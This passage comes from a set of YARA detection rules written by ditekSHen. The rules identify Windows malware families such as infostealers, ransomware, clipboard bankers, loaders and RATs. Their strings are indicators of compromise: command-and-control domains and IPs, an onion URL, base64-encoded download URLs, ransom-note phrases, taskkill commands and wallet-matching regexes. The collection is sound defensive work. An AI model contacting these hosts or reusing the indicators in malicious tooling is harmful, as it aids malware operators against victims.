		uint16( 0 ) == 0x5a4d and ( ( all of ( $f* ) and 3 of ( $s* ) and 2 of ( $t* ) and 1 of ( $r* ) ) or ( 4 of ( $s* ) and 2 of ( $t* ) and 1 of ( $r* ) ) or 12 of them )
}

rule DITEKSHEN_MALWARE_Win_Jennlog : FILE
{
	meta:
		description = "Detects JennLog loader"
		author = "ditekSHen"
		id = "38f8cd13-f157-5cce-bf04-80c29d254144"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7980-L7996"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "085a4783c7c01ec95491d9999d1835ad9ab3dc70d77b944578e097b3ffe3a627"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "%windir%\\system32\\rundll32.exe advapi32.dll,ProcessIdleTasks" fullword wide
		$x2 = "https://fkpageintheworld342.com" fullword wide
		$s1 = "ExecuteInstalledNodeAndDelete" fullword ascii
		$s2 = "ProcessExsist" fullword ascii
		$s3 = "helloworld.Certificate.txt" fullword wide
		$s4 = "ASCII85 encoded data should begin with '" fullword wide
		$s5 = "] WinRE config file path: C:\\" ascii
		$s6 = "] Parameters: configWinDir: NULL" ascii
		$s7 = "] Update enhanced config info is enabled." ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 3 of ( $s* ) ) or 5 of ( $s* ) or ( all of ( $x* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Lockfile : FILE
{
	meta:
		description = "Detects LockFile ransomware"
		author = "ditekSHen"
		id = "762ac376-43ff-56d2-b279-2879ce6d8542"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L7998-L8014"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "28c8aa8931d599e5a1860fe2ed0b8172e709dad1a48a319858a907fa775af293"
		score = 75
		quality = 71
		tags = "FILE"
	strings:
		$x1 = "LOCKFILE" fullword ascii
		$x2 = "25a01bb859125507013a2fe9737d3c33" fullword ascii
		$s1 = "</key>" fullword ascii
		$s2 = "<computername>%s</computername>" fullword ascii
		$s3 = "<blocknum>%d</blocknum>" fullword ascii
		$s4 = "%s\\%s-%s-%d%s" fullword ascii
		$s5 = ">RAC=OQD:S>P@:AO?R:EEOS:ARDD=N?EENSB" ascii wide
		$m1 = "<title>LOCKFILE</title>" ascii wide nocase
		$m2 = "<hta:application id=LOCKFILE applicationName=LOCKFILE" ascii wide nocase
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or all of ( $s* ) or ( 1 of ( $x* ) and ( 2 of ( $s* ) or 1 of ( $m* ) ) ) or ( 1 of ( $m* ) and ( 1 of ( $x* ) or 2 of ( $s* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Unicorn : FILE
{
	meta:
		description = "Detects Unicorn infostealer"
		author = "ditekSHen"
		id = "7cc8298d-abbd-5dda-bbd4-8b061095c367"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8077-L8107"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c4150b213c0dd88c87eb81e3ad455d8f658a57b0998bc6e394c5afac9423d9f2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "WinHTTP Downloader/1.0" fullword wide
		$x2 = "[CTRL + %c]" fullword wide
		$x3 = "\\UnicornLog.txt" fullword wide
		$x4 = "/*INITIALIZED*/" fullword wide
		$s1 = { 2f 00 63 00 20 00 22 00 43 00 4f 00 50 00 59 00
               20 00 2f 00 59 00 20 00 2f 00 42 00 20 00 22 00
               25 00 73 00 22 00 20 00 22 00 25 00 73 00 22 00
               22 00 00 00 63 00 6d 00 64 00 2e 00 65 00 78 00
               65 }
		$s2 = { 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00
               2e 00 65 00 78 00 65 00 00 00 00 00 25 00 73 00
               20 00 22 00 25 00 73 00 22 00 2c 00 25 00 68 00
               73 }
		$s3 = "%*[^]]%c%n" fullword ascii
		$s4 = "file://%s%s%s" fullword ascii
		$s5 = "%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
		$s6 = "regex_start_injects" fullword ascii
		$s7 = "DLEXEC" fullword ascii
		$s8 = "^((((3|1)[A-Za-z0-9]{33}))(\\s|$)|(bc1q)[A-Za-z0-9]{38}(\\s|$))" fullword ascii
		$s9 = "^(0x)?[A-Za-z0-9]{40}(\\s|$)" fullword ascii
		$s10 = "clipRegex" fullword ascii
		$s11 = "%s?k=%s&src=clip&id=%s" fullword ascii
		$s12 = "http://izuw6rclbgl2lwsh.onion/o.php" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or 8 of ( $s* ) or ( 3 of ( $x* ) and 5 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Spectre : FILE
{
	meta:
		description = "Detects Spectre infostealer"
		author = "ditekSHen"
		id = "43b32900-8dff-5a95-bcff-d6bd17703476"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8109-L8124"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ee041928ab5010fd5a06538f9a7cf9c72e44903fdb05f13b12362af0b326fd6f"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920233-920234"
	strings:
		$s1 = "\\../../../json.h" wide
		$s2 = "static_cast<std::size_t>(index) < kCachedPowers.size()" fullword wide
		$s3 = " cmd.exe" fullword wide
		$s4 = "m_it.object_iterator != m_object->m_value.object->end()" fullword wide
		$h1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" fullword wide
		$h2 = "----974767299852498929531610575" ascii wide
		$h3 = "Content-Disposition: form-data; name=\"file\"; filename=\"" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and ( ( all of ( $s* ) and 1 of ( $h* ) ) or ( all of ( $h* ) and 2 of ( $s* ) ) ) ) or ( 6 of them )
}

rule DITEKSHEN_MALWARE_Win_Dlinjector05 : FILE
{
	meta:
		description = "Detects downloader / injector (NiceProcess)"
		author = "ditekSHen"
		id = "857eb13b-a882-5326-b7aa-4d2fcd0b6425"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8141-L8158"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5345c2b03e14b7324a13bac0da783eec8c30da18043c1b2d46162e5b511fae63"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "pidhtmpfile.tmp" fullword ascii
		$s2 = "pidhtmpdata.tmp" fullword ascii
		$s3 = "pidHTSIG" fullword ascii
		$s4 = "Taskmgr.exe" fullword ascii
		$s5 = "[HP][" ascii
		$s6 = "[PP][" ascii
		$s7 = { 70 69 64 68 74 6d 70 66 69 6c 65 2e 74 6d 70 00
                2e 64 6c 6c 00 00 00 00 70 69 64 48 54 53 49 47
                00 00 00 00 ?? ?? 00 00 54 61 73 6b 6d 67 72 2e
                65 78 65 }
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Kutaki : FILE
{
	meta:
		description = "Detects Kutaki"
		author = "ditekSHen"
		id = "d91812bb-4564-56b5-9757-81255b5233fb"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8160-L8173"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "24fbc9ca6de421275813c285a8fca91cfcede48f4b4de9feda010c644f0c251f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "AASEaHR0cDovL29qb3JvYmlhLmNsdWIvbGFwdG9wL2xhcHRvcC5waHA" ascii
		$x2 = "aHR0cDovL3RlcmViaW5uYWhpY2MuY2x1Yi9zZWMva29vbC50eHQ" ascii
		$s1 = "wewqeuuiwe[XXXXXXX]" ascii
		$s2 = "alt|aHR0cD" ascii
		$s3 = "<rdf:Description about='uuid:fb761dc9-9daf-11d9-9a32-fcf1da45dca2'" ascii
		$s4 = "<rdf:Description about='uuid:0ab54f47-96d6-11d9-a59c-cbc93330e07e'" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 1 of ( $s* ) ) or ( all of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Dlinjector06 : FILE
{
	meta:
		description = "Detects downloader / injector"
		author = "ditekSHen"
		id = "9d8164ee-49b3-5eb1-bd1d-9437fc6f1392"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8175-L8189"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e44ea8dbb94c6cd3b63d66eac3e9b3d6d5ff7d561410b8328e6c24630645305b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" ascii wide
		$s2 = "Content-Type: application/x-www-form-urlencoded" wide
		$s3 = "https://ipinfo.io/" wide
		$s4 = "https://db-ip.com/" wide
		$s5 = "https://www.maxmind.com/en/locate-my-ip-address" wide
		$s6 = "https://ipgeolocation.io/" wide
		$s7 = "POST" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Crown : FILE
{
	meta:
		description = "Detects Crown Tech Support Scam"
		author = "ditekSHen"
		id = "ac4551d0-a574-5287-9b37-899c736db792"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8191-L8211"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "eeb36993c93d76ed118643ee417f15e1768015f72464dbabca7ae001f64a0aef"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920251-920261"
	strings:
		$d1 = "//prodownload.live" ascii
		$c1 = "&uid=" ascii
		$c2 = "&ver=" ascii
		$c3 = "&mcid=" ascii
		$c4 = ".php?uid=" ascii
		$c5 = ".php?ip=" ascii
		$s1 = "Operating System Support ID:" ascii
		$s2 = "taskkill /IM explorer.exe -f" ascii nocase
		$s3 = "/C taskkill /IM Taskmgr.exe -f" ascii nocase
		$s4 = "FastSuport" fullword ascii
		$s5 = "Support Override!" fullword wide
		$s6 = "Support Assistance Override Activated!" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $c* ) or 4 of ( $s* ) or ( 1 of ( $d* ) and ( 3 of ( $c* ) or 2 of ( $s* ) ) ) )
}


rule DITEKSHEN_MALWARE_Win_UNK_Infostealer : FILE
{
	meta:
		description = "Detects unknown information stealer"
		author = "ditekSHen"
		id = "f6f9816f-79bd-527c-9c0f-24e09c95ae35"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8221-L8246"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ca57ebf4b56020d278ec8a7e721c72de7a1f925a8e7f1f3a9edc8a70b88ff9d1"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920263"
		hash1 = "b7a2cb34d3bc42d6d4c9d9af7dd406e2a5caef8ea46e5d09773feeb9920a6b21"
		hash2 = "dd95377842932d77e225b126749e1e6e8ecd6f5c6540d084a551a80a54d02d7d"
		hash3 = "12f790d9a0775b5e62effc6ea9e55bbef345fffbfb2f671f85098c4f7661dd0f"
		hash4 = "0a4cea763dffde451c75a434143fc5d014c32c6d1f8f34920ea5f2854e62118f"
	strings:
		$s1 = "%s\\%s\\%s-Qt" fullword wide
		$s2 = "%s\\%s.json" fullword wide
		$s3 = "*.mmd*" fullword wide
		$s4 = "%s\\%s.vdf" fullword wide
		$s5 = "%-50s %s" fullword wide
		$s6 = "dISCORD|lOCAL" fullword ascii nocase
		$s7 = "sTORAGE|LEVELDB" fullword ascii nocase
		$s8 = ".coin" fullword ascii
		$s9 = ".emc" fullword ascii
		$s10 = ".lib" fullword ascii
		$s11 = ".bazar" fullword ascii
		$s12 = "id=%d" fullword ascii
		$s13 = "2:?/v /v /v /^Y" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them
}

rule DITEKSHEN_MALWARE_Win_DECAF : FILE
{
	meta:
		description = "Detects DECAF ransomware"
		author = "ditekSHen"
		id = "c6e4ce00-0be9-572d-987c-c47d699002f0"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8248-L8268"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5d79a4f310fb00022eb9d636f161227e84a7e15517c4d2c39acafa7d81af5c2a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "main.EncWorker" fullword ascii
		$s2 = "Paths2Encrypt" fullword ascii
		$s3 = "/cmd/encryptor/main.go" ascii
		$s4 = "*win.FileUtils; .autotmp_41 *lib.Encryptor; .autotmp_" ascii
		$s5 = "\"Microsoft Window" fullword wide
		$s6 = "Legal_Policy_Statement" fullword wide
		$s7 = ").Encrypt." ascii
		$s8 = "*struct { F uintptr; pw *os.File; c *" ascii
		$s9 = ".ListFilesToEnc." ascii
		$m1 = "WINNER WINNER CHICKEN DINNER" ascii
		$m2 = "All your servers and computers are encrypted" ascii
		$m3 = "We guarantee to decrypt one image file for free." ascii
		$m4 = "We WILL NOT be able to RESTORE them." ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or 3 of ( $m* ) or ( 1 of ( $m* ) and 2 of ( $s* ) ) )
}


rule DITEKSHEN_MALWARE_Win_Exmatter : FILE
{
	meta:
		description = "Detects BlackMatter data exfiltration tool"
		author = "ditekSHen"
		id = "93df7a68-1e19-5db3-95d4-39d77d1036d8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8303-L8325"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "25a35c82919f96bdba00558616f574e901b83785713ed1a63a6f06df576777cd"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "4a0e10e1e9fea0906379f99fa350b91c2af37f0fd2cc55491643cc71a9887d30"
		hash2 = "a5e050f1278473d41c3a3d6f98f3fd82932f51a937bc57d8f5605815f0efb0f8"
	strings:
		$s1 = "Renci.SshNet." ascii
		$s2 = "DirNotEmpty" fullword ascii
		$s3 = "MkDir" fullword ascii
		$s4 = "RmDir" fullword ascii
		$s5 = "get_MainWindowHandle" fullword ascii
		$s6 = "GetCurrentProcess" fullword ascii
		$s7 = "]]>]]>" fullword wide
		$s8 = "1.3.132.0.35" fullword wide
		$s9 = "1.3.132.0.34" fullword wide
		$s10 = "1.2.840.10045.3.1.7" fullword wide
		$x1 = "sender2.pdb" fullword ascii
		$x2 = { 64 00 61 00 74 00 61 00 ?? 72 00 6f 00 6f 00 74 }
		$x3 = "157.230.28.192" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( 1 of ( $x* ) and 7 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Brbbot : FILE
{
	meta:
		description = "Detects BrbBot"
		author = "ditekSHen"
		id = "d77dfdcf-4cd5-578e-99eb-c987e7b5b706"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8327-L8345"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "64df5bba698fbba1baf27eedb9a2eb46c5e0752996ea91900f8377200d54eeeb"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920265"
	strings:
		$x1 = "brbconfig.tmp" fullword ascii
		$x2 = "brbbot" fullword ascii
		$s1 = "%s?i=%s&c=%s&p=%s" fullword ascii
		$s2 = "exec" fullword ascii
		$s3 = "CONFIG" fullword ascii wide
		$s4 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" fullword ascii
		$s5 = { 43 4f 4e 46 49 47 00 00 65 6e 63 6f 64 65 00 00
                73 6c 65 65 70 00 00 00 65 78 69 74 00 00 00 00
                63 6f 6e 66 00 00 00 00 66 69 6c 65 00 00 00 00
                65 78 65 63 }
	condition:
		uint16( 0 ) == 0x5a4d and ( ( all of ( $x* ) and 1 of ( $s* ) ) or ( 1 of ( $x* ) and 4 of ( $s* ) ) or all of ( $s* ) )
}


rule DITEKSHEN_MALWARE_Win_UNK05 : FILE
{
	meta:
		description = "Detects potential BazarLoader"
		author = "ditekSHen"
		id = "12f66315-f381-5910-b1d4-2cbf21c889a4"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8469-L8486"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b3074f237fbaf449a53dcc219f48509db6af4c0d0859e6590563c3412be30aa8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "/api/get" ascii wide
		$s2 = "PARENTCMDLINE" fullword ascii
		$s3 = "https://microsoft.com/telemetry/update.exe" ascii wide
		$s4 = "api.opennicproject.org" fullword ascii wide
		$s5 = "https://%hu.%hu.%hu.%hu:%u" fullword ascii wide
		$s6 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31" ascii wide
		$s7 = "PARENTJOBID" fullword ascii wide
		$s8 = "\\System32\\rundll32.exe" fullword ascii wide
		$s9 = "{ccc38b40-5b04-4fb1-a684-07c7e448d4df}" fullword ascii wide
		$s10 = "{065f6686-990b-46fc-829c-a53ec188a723}" fullword ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Win_Clipbanker01 : FILE
{
	meta:
		description = "Detects ClipBanker infostealer"
		author = "ditekSHen"
		id = "b56514f4-8362-5698-8142-be836b70a11a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8488-L8521"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "8ef90e22299a1009468761a4cdb8e2a92920d721f1a7ebceeb81a07e14f9156f"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "Clipper" fullword wide
		$s2 = "Ushell" fullword wide
		$s3 = "Banker" fullword wide
		$s4 = "ClipPurse" fullword wide nocase
		$s5 = "SelfClip" fullword wide
		$s6 = "Cliper" fullword wide
		$s7 = "FHQD4313-33DE-489D-9721-6AFF69841DEA" fullword wide
		$s8 = "Remove.bat" fullword wide
		$s9 = "\\w{1}\\d{12}" fullword wide
		$s10 = "SELECT * FROM Win32_ComputerSystem" fullword wide
		$s11 = "red hat" fullword wide
		$s12 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00
                 2e 00 65 00 78 00 65 00 00 ?? 2f 00 63 00 72 00
                 65 00 61 00 74 00 65 00 20 00 2f 00 73 00 63 00
                 20 00 00 ?? 20 00 2f 00 6d 00 6f 00 20 00 00 ??
                 20 00 2f 00 72 00 6c 00 20 00 00 ?? 20 00 2f 00
                 74 00 6e 00 20 00 00 ?? 20 00 2f 00 74 00 72 00
                 20 00 00 ?? 20 00 ?? 00 ?? 00 00 ?? 2f 00 64 00
                 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 74 00
                 6e }
		$s13 = "ClipChanger" fullword ascii
		$s14 = "CheckVirtual" fullword ascii
		$s15 = "InjReg" fullword ascii
		$s16 = "SuicideFile" fullword ascii
		$s17 = "HideFile" fullword ascii
		$s18 = "AntiVm" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule DITEKSHEN_MALWARE_Win_Zombieboy : FILE
{
	meta:
		description = "Detects ZombieBoy Downloader"
		author = "ditekSHen"
		id = "c1345196-1686-534c-ab4c-557113c83411"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8523-L8532"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "0840367c1b56c4c266f22400df95411ba7784b98919a922380e1ec789783bb65"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = ":\\Users\\ZombieBoy\\" ascii wide
		$s2 = "RookIE/1.0" fullword ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Pcrat : FILE
{
	meta:
		description = "Detects PCRat / Gh0st"
		author = "ditekSHen"
		id = "de5b3e08-16da-56e2-a0a4-d8bed5840804"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8534-L8561"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ad56d7d6a2bb6d09bc4530c31b51456b6bbca5def1810449fd2a31973cce18f8"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "ClearEventLogA" fullword ascii
		$s2 = "NetUserAdd" fullword ascii
		$s3 = "<H1>403 Forbidden</H1>" fullword ascii
		$s4 = ":]%d-%d-%d  %d:%d:%d" fullword ascii
		$s5 = "Mozilla/4.0 (compatible)" fullword ascii
		$s6 = "<Enter>" fullword ascii
		$s7 = "\\cmd.exe" fullword ascii
		$s8 = "Program Files\\Internet Explorer\\IEXPLORE.EXE" fullword ascii
		$s9 = "Collegesoft ScenicPlayer" fullword wide
		$a1 = "360tray.exe" fullword ascii
		$a2 = "avp.exe" fullword ascii
		$a3 = "RavMonD.exe" fullword ascii
		$a4 = "360sd.exe" fullword ascii
		$a5 = "Mcshield.exe" fullword ascii
		$a6 = "egui.exe" fullword ascii
		$a7 = "kxetray.exe" fullword ascii
		$a8 = "knsdtray.exe" fullword ascii
		$a9 = "TMBMSRV.exe" fullword ascii
		$a10 = "avcenter.exe" fullword ascii
		$a11 = "ashDisp.exe" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of ( $s* ) and 6 of ( $a* )
}

rule DITEKSHEN_MALWARE_Win_Satana : FILE
{
	meta:
		description = "Detects Satana ransomware"
		author = "ditekSHen"
		id = "f3cb7cc4-3c63-50b2-8e19-d675abbb33f8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8587-L8604"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b2946e8c37be4a57237999aaa0c0a760a181306320162e04bc6fc12a542b81d5"
		score = 75
		quality = 73
		tags = "FILE"
		snort_sid = "920269-920270"
	strings:
		$bf1 = "Try Decrypt: uc_size = %d, c_size = %d" ascii
		$bf2 = "dwMailSelector = %d  dwBtcSelector = %d" ascii
		$bf3 = "%s: Error DecB: 0x%X" ascii
		$bf4 = "MBR written to Disk# %d" ascii
		$bf5 = "!SATANA!" ascii wide nocase
		$bf6 = "1 -th start" fullword ascii
		$bf7 = "id=%d&code=%d&sdata=%d.%d.%d %d %d %s %s %d&name=%s&md5=%s&dlen=%s" ascii
		$bf8 = "threadAdminFlood: %s %s %s" wide
		$bf9 = "%s: NET RES FOUND: %s" wide
	condition:
		( uint16( 0 ) == 0x5a4d and 4 of ( $bf* ) ) or ( 5 of ( $bf* ) )
}

rule DITEKSHEN_MALWARE_Win_Nglite : FILE
{
	meta:
		description = "Detects NGLite"
		author = "ditekSHen"
		id = "b014ed4f-57b1-597e-befc-6e7f80855201"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8646-L8668"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d83663908949f69018461c73cf7137cf4ab16cc057cfe47942e6de0415ab5447"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "/lprey/main.go" ascii
		$x2 = "/NGLiteV1.01/lprey/" ascii
		$x3 = "/ng.com/lprey/" ascii
		$x4 = "/mnt/hgfs/CrossC2-2.2/src/" ascii
		$x5 = "WHATswrongwithUu" ascii
		$s1 = "main.Preylistener" fullword ascii
		$s2 = "main.Runcommand" fullword ascii
		$s3 = "main.RandomPass" fullword ascii
		$s4 = "main.AesEncode" fullword ascii
		$s5 = "main.RsaEncode" fullword ascii
		$s6 = "main.AesDecode" fullword ascii
		$s7 = "main.initonce" fullword ascii
		$s8 = "main.SendOnce" fullword ascii
		$s9 = "main.clientConf" fullword ascii
		$s10 = "main.Sender" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and ( ( 1 of ( $x* ) and 2 of ( $s* ) ) or ( 6 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Chinotto : FILE
{
	meta:
		description = "Detects Chinotto"
		author = "ditekSHen"
		id = "e66703d4-c9c6-5bb4-9e07-11dc89b0a034"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8702-L8754"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "92f37bdc4cf17e07bb556c60e3bde4547c34f67a2fb5c806000d9cb2446adff1"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "xxxchinotto" ascii wide
		$x2 = "\\Chinotto.pdb" ascii wide
		$x3 = { 50 4f 53 54 20 25 73 20 48 54 54 50 2f 31 2e 31
                0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e
                67 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65
                0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f
                7a 69 6c 6c 61 2f 34 2e 30 28 63 6f 6d 70 61 74
                69 62 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20
                57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20
                53 56 31 29 0d 0a 41 63 63 65 70 74 3a 20 69 6d
                61 67 65 2f 67 69 66 2c 20 69 6d 61 67 65 2f 78
                2d 78 62 69 74 6d 61 70 2c 20 69 6d 61 67 65 2f
                6a 70 65 67 2c 20 69 6d 61 67 65 2f 70 6a 70 65
                67 2c 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78
                2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68
                2c 20 2a 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67
                75 61 67 65 3a 20 65 6e 2d 75 73 0d 0a 43 6f 6e
